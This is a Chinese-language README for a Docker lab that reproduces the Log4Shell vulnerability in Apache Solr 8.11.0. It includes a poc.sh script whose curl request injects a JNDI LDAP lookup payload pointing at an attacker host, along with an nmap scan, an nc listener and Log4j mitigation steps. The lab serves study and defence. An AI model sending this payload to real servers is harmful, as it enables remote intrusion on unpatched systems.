用于在 Docker 中复现和研究 Apache Solr 上 Log4Shell 漏洞的受控环境。
solr-lab):Apache Solr v8.11.0 (vulhub/solr:8.11.0),运行着一个存在漏洞的 Log4j 版本。kali-lab):基础 Kali Linux 容器,预装了 nmap、curl 和 netcat。在您的终端中,将环境在后台启动:
docker compose up -d --build
docker compose exec -it kali-lab /bin/bash
在 Kali 容器内部,发现自己的子网并定位 Apache Solr 的 IP:
# 1. 查看您的 IP 和网络掩码
hostname -I
# 2. 扫描内部网络以找到靶机 IP(Solr 端口:8983)
# (根据上一步获取的 IP 替换下面的子网)
nmap -p 8983 172.20.0.0/24
poc.sh 脚本将 JNDI 查找 payload 注入到 Solr 管理 API 的参数中。
poc.sh)#!/usr/bin/env bash
if [ "$#" -lt 2 ]; then
echo "Uso: $0 <lhost> <rhost> [lport]"
echo "Exemplo: $0 172.20.0.3 172.20.0.2 1389"
exit 1
fi
KALI="$1"
TARGET="$2"
PORT_KALI="${3:-1389}"
echo "[*] Alvo: $TARGET"
echo "[*] Atacante (LDAP): $KALI na porta $PORT_KALI"
echo "[*] Disparando exploit..."
curl -g -v "http://${TARGET}:8983/solr/admin/cores?foo=\${jndi:ldap://${KALI}:${PORT_KALI}/x}"
仍在 Kali 内部,赋予脚本执行权限并传入正确的 IP 运行:
chmod +x poc.sh
./poc.sh <KALI_IP> <SOLR_IP> 1389
这里发生了什么? Solr 将处理该请求,并尝试打开一个返回 Kali IP 指定端口的 LDAP 连接。您可以在运行脚本之前在 Kali 上快速启动一个监听器来监视这个连接尝试(例如:
nc -lnvp 1389)。
要修复 Log4j 2 中的漏洞:
2.15.0 或 2.17.1)。-Dlog4j2.formatMsgNoLookups=true 来禁用查找功能。zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class